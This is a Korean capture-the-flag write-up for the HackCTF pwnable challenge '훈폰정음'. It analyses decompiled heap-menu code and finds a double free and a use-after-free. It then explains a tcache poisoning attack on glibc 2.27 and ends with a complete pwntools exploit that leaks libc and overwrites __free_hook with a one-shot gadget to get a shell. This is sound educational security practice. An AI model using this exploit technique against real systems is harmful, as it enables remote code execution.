tmxklab
[HackCTF/Pwnable] 훈폰정음 본문
tcache개념을 공부하고 처음 tcache관련 문제를 풀어보았다. tcache에서 DFB를 포함한 여러 오류 검증 코드가 빠져있어 exploit이 쉬운 것 같다.
해당 문제는 tcache poisoning
공격 기법을 사용하여 풀었다.
1. 문제
nc ctf.j0n9hyun.xyz 3041
1) mitigation 확인
- 이번엔 mitigation이 모두 걸려있다.
2) 문제 확인
- 메뉴가 총 5개가 보인다. (추가, 수정, 삭제, 확인, 종료)
3) 코드 흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
alarm(0x3Cu);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts(asc_11C0);
while ( 1 )
{
switch ( (unsigned int)menu() )
{
case 1u:
add();
break;
case 2u:
edit();
break;
case 3u:
delete();
break;
case 4u:
check();
break;
case 5u:
exit(0);
return;
default:
puts(&byte_11FB);
break;
}
}
}
- 총 5개의 메뉴가 보이며 switch문에 해당하는 값이 아닌 다른 값을 입력하면 특정 문자열이 출력된다.
3-2) add()
int add()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
puts(&byte_FF6);
result = smooth();
v1 = result;
while ( v1 >= 0 && v1 <= 6 )
{
if ( table[v1] )
return puts(&byte_1018);
puts(&byte_1042);
size[v1] = smooth();
if ( (size[v1] & 0x80000000) == 0 && (int)size[v1] <= 1024 )
{
table[v1] = malloc((int)size[v1]);
if ( !table[v1] )
return puts(&byte_107F);
puts(&byte_1098);
return get_read(table[v1], size[v1]);
}
result = puts(&byte_1060);
}
return result;
}
- smooth()를 통해 입력 값을 받아(총 32bytes까지 받을 수 있음) table의 인덱스 값을 결정한다.
- 인덱스 값을 v1에 받아서 v1이 0보다 크거나 같고 6보다 작거나 같으면 while문 실행
- table[v1]에 값이 존재하면 return되고 아니면 사이즈 값을 size[v1]에 받고 size[v1]값이 0x80000000아니고 1024보다 작거나 같으면 size[v1]만큼 malloc한다.
- malloc에 실패하면 return되고 성공하면 table[v1]에 size[v1]만큼 쓸 수 있다.
- 요약 : table[v1] = malloc(size[v1]); read(0, table[v1], size[v1]);
3-3) edit()
int edit()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
puts(&byte_FF6);
result = smooth();
v1 = result;
if ( result >= 0 && result <= 6 )
{
if ( table[result] )
{
puts(&byte_10D8);
if ( (unsigned int)get_read(table[v1], size[v1]) )
result = puts(&byte_1100);
else
result = puts(&byte_1119);
}
else
{
result = puts(&byte_10B8);
}
}
return result;
}
- 인덱스 값을 result변수에 받아 result가 0보다 크거나 같고 6보다 작거나 같으면 if문안의 로직 실행
- table[result]에 값이 존재하면 read(0, table[v1], size[v1])
3-4) delete()
int delete()
{
int result; // eax
int v1; // eax
int v2; // [rsp+Ch] [rbp-4h]
puts(&byte_FF6);
result = smooth();
v2 = result;
while ( v2 >= 0 && v2 <= 6 )
{
if ( !table[v2] )
return puts(&byte_1138);
v1 = count--;
if ( v1 )
{
free((void *)table[v2]);
return puts(&byte_1157);
}
result = puts(&byte_1168);
}
return result;
}
- 인덱스 값을 v2로 받아 v2가 0 ~ 6범위 안에 존재하면 while문 실행
- table[v2]에 값이 존재하지 않으면 return
- count가 후위 연산자를 통해 v1에 대입(이 때, count는 data segment에 존재하며 5로 초기화되어 있다.)
- v1값이 0이 아니면 free(table[v2])하고 return
- 근데 free하고 나서 table전역변수에 널 값을 넣지 않아 청크의 주소 남아있으므로 DFB가능 → 추가로 edit부분에서 table[index]에 값이 존재하면 값을 쓸 수 있으므로 free된 청크의 주소가 남아있으므로 주소 값 변경도 가능
3-5) check()
int check()
{
int result; // eax
puts(&byte_FF6);
result = smooth();
if ( result >= 0 && result <= 6 )
{
if ( table[result] )
result = printf(&byte_119C, table[result]);
else
result = puts(&byte_1138);
}
return result;
}
- 인덱스 값을 result로 받아 0 ~ 6 범위에 만족하고 table[result]에 값이 존재하면 table[result]를 출력
전역변수)
- size : 0x202060
- table : 0x202080
data segment에 존재하는 변수)
- count : 0x202010
정리)
add()
- index가 0 ~ 6범위에 존재하고 size값이 1024보다 작거나 같으면 table[index]가 비어있는지 확인하고 table[index] = malloc(size[index]); read(0, table[index], size[index])를 실행한다.
edit()
- index가 0 ~ 6범위에 존재하고 table[index]가 존재하면 read(0, table[v1], size[v1]) 실행
delete()
- index가 0 ~ 6범위에 존재하고 table[index]가 존재하면 free(table[index]), 이 때, count변수를 통해 free횟수 5회로 제한
check()
- index가 0 ~ 6 범위에 존재하고 table[index]가 존재하면 table[index]값 출력
2. 접근방법
코드 분석을 통해 우리가 알 수 있는 사실은 다음과 같다.
- 할당받을 수 있는 청크의 개수는 총 7개로 제한되어 있다. (0~6)
- 할당 사이즈의 최대 크기는 1024byte로 제한되어 있다.
- free시킬 수 있는 횟수를 count변수를 통해 5개로 제한되어 있는 것처럼 보이지만 while루프가 돌면 count가 -1로 진입할 때부터 다시 if문은 참이되므로 사실상 free시킬 수 있는 횟수의 제한이 없다.
- free하고 나서도 table[index]에 널 값을 넣지 않아 free청크의 주소가 그대로 남아 있다. → 따라서, DFB가 가능하며 edit()에서 free된 청크에도 값을 쓸 수 있다.
tcache관련 추가 사실)
- 해당 문제는 바이너리와 함께 libc-2.27.so라이브러리 파일을 제공해주었는데 tcache가 2.26버젼부터 지원이 되므로 해당 문제 또한 tcache가 적용되어 있다.
- tcache에서 bin의 갯수는 총 64개를 가지며 각 bin마다 최대 7개의 free 청크를 가진다. 이후에 tcache에 들어가지 못 할 경우 각자 청크 크기에 맞는 bin에 들어간다.
- 64bit system 기준 tcache의 청크 사이즈 범위는 24 ~ 1032byte이다.
- tcache는 다른 bin과 다르게 arena에 존재하지 않는다.
참고 자료 :
1) libc leak
위 내용을 바탕대로 하면 할당된 크기의 개수 제한(~1024byte)때문에 free해도 tcache에 밖에 들어가지 않고 tcache는 arena에 존재하지 않으므로 libc를 leak할 수 없다.
사이즈의 제한으로 tcache에 들어가므로 fd에는 libc주소가 존재하지 않는다.
만약, 다른 bin으로 변경이 가능하면 libc주소를 leak할 수 있을 것이다.
따라서, DFB를 이용하여 tcache의 크기를 조정함으로써 다른 bin에 들어갈 수 있도록 해준다.
1-1) DFB - 1개의 청크를 2번 free했을 때
- fd가 서로 가르키고 있다. 참고로 tcache는 fastbin과 거의 비슷하게 LIFO방식이며 single linked list구조를 가진다.
- table변수에는 그대로 free 청크의 주소가 남아있으므로 edit가 가능하다. → fd값을 변경할 수 있다.
1-2) tcache fd, size 변경
- edit()를 이용하여 tcache의 fd값을 0x8만큼 빼서 size부분의 주소를 가리키게 하였다.
- tcache_entry를 보면 다음 재할당되는데 사용되는 청크는 0x55711d5ba260이고 2번째로 0x55711d5ba258이다.
- 따라서, 2번째로 재할당되는 청크를 이용하여 size값을 조정할 수 있다.
- 2번의 재할당을 마치고 난 상황이다.
- 2번째 재할당할 때 size값을 0x421로 변경하였다. → tcache의 범위가 1032byte이므로
다음 청크를 생성하기 위해 0x400만큼 malloc을 하기 전에 주의해야할 점이 있다. 그렇다. Top Chunk간의 offset을 맞춰줘야 한다.
- 위와 같이 0x400만큼 할당을 요청하면 Top Chunk에서 떼어 주게 될 것이다. 할당하는 데는 문제가 없지만 우리의 목표는 저 table[0]에 존재하는 저 맨 위에 있는 0x420크기의 청크를 free하는 것이다.
- 하지만, 저 상태에서 0x420크기의 청크를 free하게 되면 다음 인접한 청크를 체크할 것이다.
- 그러면 0x55e6fe748250 ~ 0x55e6fe748660까지가 0x420크기이므로 그 다음 0x55e6fe748670을 확인해보면
- 그렇다 아무것도 없다. 다만, 다음 0x10다음에 Top Chunk만 존재한다.
- 따라서, 이러한 상황에서 free를 하게되면 에러가 발생하므로 0x55e6fe748670에 0x10크기의 가상의 청크를 만들어주자
- 만드는 방법은 간단하다. 아까 0x400만큼 malloc할 때 Top Chunk에서 떼어줬으므로 해당 주소까지 참조가능하다. 따라서 저 주소에 0x11값을 써주면 된다.
- 정상적으로 0x420청크의 다음 청크의 크기가 0x10으로 인식하고 있다.
1-3) free(table[0])
- tcache의 범위를 넘어서므로 먼저 unsorted bin에 들어가게 된다.
- fd, bk에는 main_arena의 주소 값이 들어있다.
1-4) libc leak
- 그리고 table에 free된 청크의 주소가 그대로 남아있으므로 table[0]을 출력할 수 있고 해당 청크를 출력하게 되면 fd값이 남아있어 그대로 main_arena의 주소 값이 출력된다.
libc주소를 leak하였으므로 그 다음 공격하는 것은 위에서 DFB를 이용하여 free_hook에 원샷 가젯을 넣으면 된다.
공격 프로세스)
- DFB를 이용하여 tcache의 청크 사이즈를 변경 → 0x421
- 0x420크기의 청크를 free하면 unsorted bin에 들어가므로 그대로 check함수에서 해당 청크를 printf하면 main_arena의 주소를 leak할 수 있다.
- libc주소를 알아내어 free_hook주소와 원샷 가젯 주소를 알아낸다.
- 다시 DFB를 이용하여 free_hook에 원샷 가젯을 넣는다.
- 마지막으로 free를 하면서 쉘을 따낼 수 있다.
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./hoonporn")
p = remote("ctf.j0n9hyun.xyz", 3041)
libc = ELF("/home/cmc/Desktop/lib_hack/libc-2.27.so")
#oneshot_offset = 0x4f2c5
oneshot_offset = 0x4f322
#oneshot_offset = 0x10a38c
#gdb.attach(p)
def add(idx, length, data):
p.sendlineafter(">> ", str(1))
p.sendlineafter(":\n", str(idx))
p.sendlineafter(":\n", str(length))
p.sendafter(":\n", data)
def edit(idx, data):
p.sendlineafter(">> ", str(2))
p.sendlineafter(":\n", str(idx))
p.sendafter(":\n", data)
def delete(idx):
p.sendlineafter(">> ", str(3))
p.sendlineafter(":\n", str(idx))
def check(idx):
p.sendlineafter(">> ", str(4))
p.sendlineafter(":\n", str(idx))
add(0, 0x18, "A"*8)
# 1. DFB
delete(0)
delete(0)
check(0)
p.recvuntil(":")
chunk_addr = u64(p.recv(6).ljust(8, '\x00'))
log.info("chunk_addr : "+hex(chunk_addr))
edit(0, p64(chunk_addr - 0x8))
# 2. change tcache size -> 0x421
add(1, 0x18, "B")
add(2, 0x18, p16(0x421))
add(3, 0x400, p64(0x11)*(0x400/8))
# 3. input chunk at unsorted bin
delete(0)
# 4. leak main_arena address
check(0)
leak_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, '\x00'))
malloc_hook = leak_addr - 0x70
libc_base = malloc_hook - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
oneshot_addr = libc_base + oneshot_offset
log.info("libc_base : " + hex(libc_base))
log.info("free_hook : " + hex(free_hook))
log.info("oneshot_addr : " + hex(oneshot_addr))
pause()
# 5. DFB
add(4, 0x20, "c")
delete(4)
delete(4)
# 6. change tcache fd
edit(4, p64(free_hook))
# 7. Input free_hook > oneshot
add(5, 0x20, "D")
add(6, 0x20, p64(oneshot_addr))
# oneshot!
delete(5)
p.interactive()
2) 실행결과
4. 몰랐던 개념
위에서 공격했던 것처럼 tcache의 fd값을 조작하여 공격자가 원하는 곳에 할당하도록 하는 공격이tcache poisoning
이라고 한다.
이전에 heap문제를 풀 때 free를 연속으로 하면 error가 발생하면서 "double free or corruption"이 뜨고 그랬는데 tcache에서는 전혀 그런게 없었다.
→ 참고로 동일한 청크 연속으로 free시키면 DFB가 발생하여 malloc이 호출되서 __malloc_hook에 가젯 넣고 풀었음
참고 : https://rninche01.tistory.com/entry/HackCTFPwnable-babyheap
+) 2.29 이후에는 dfb오류를 검증하도록하여 막아놨다고 한다.
참고자료 :
- http://blog.howdays.kr/index.php/2019/05/01/2-29-heap/
- https://github.com/shellphish/how2heap
- https://m.blog.naver.com/PostView.nhn?blogId=yjw_sz&logNo=221559937699&referrerCode=0&searchKeyword=tcache%20poisoning
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/reversing] Static (0) | 2021.01.14 |
---|---|
[HackCTF/reversing] BabyMIPS (0) | 2021.01.14 |
[HackCTF/Pwnable] AdultFSB (0) | 2020.08.20 |
[HackCTF/Pwnable] Unexploitable #4 (0) | 2020.08.15 |
[HackCTF/Pwnable] ChildFSB (2) | 2020.08.15 |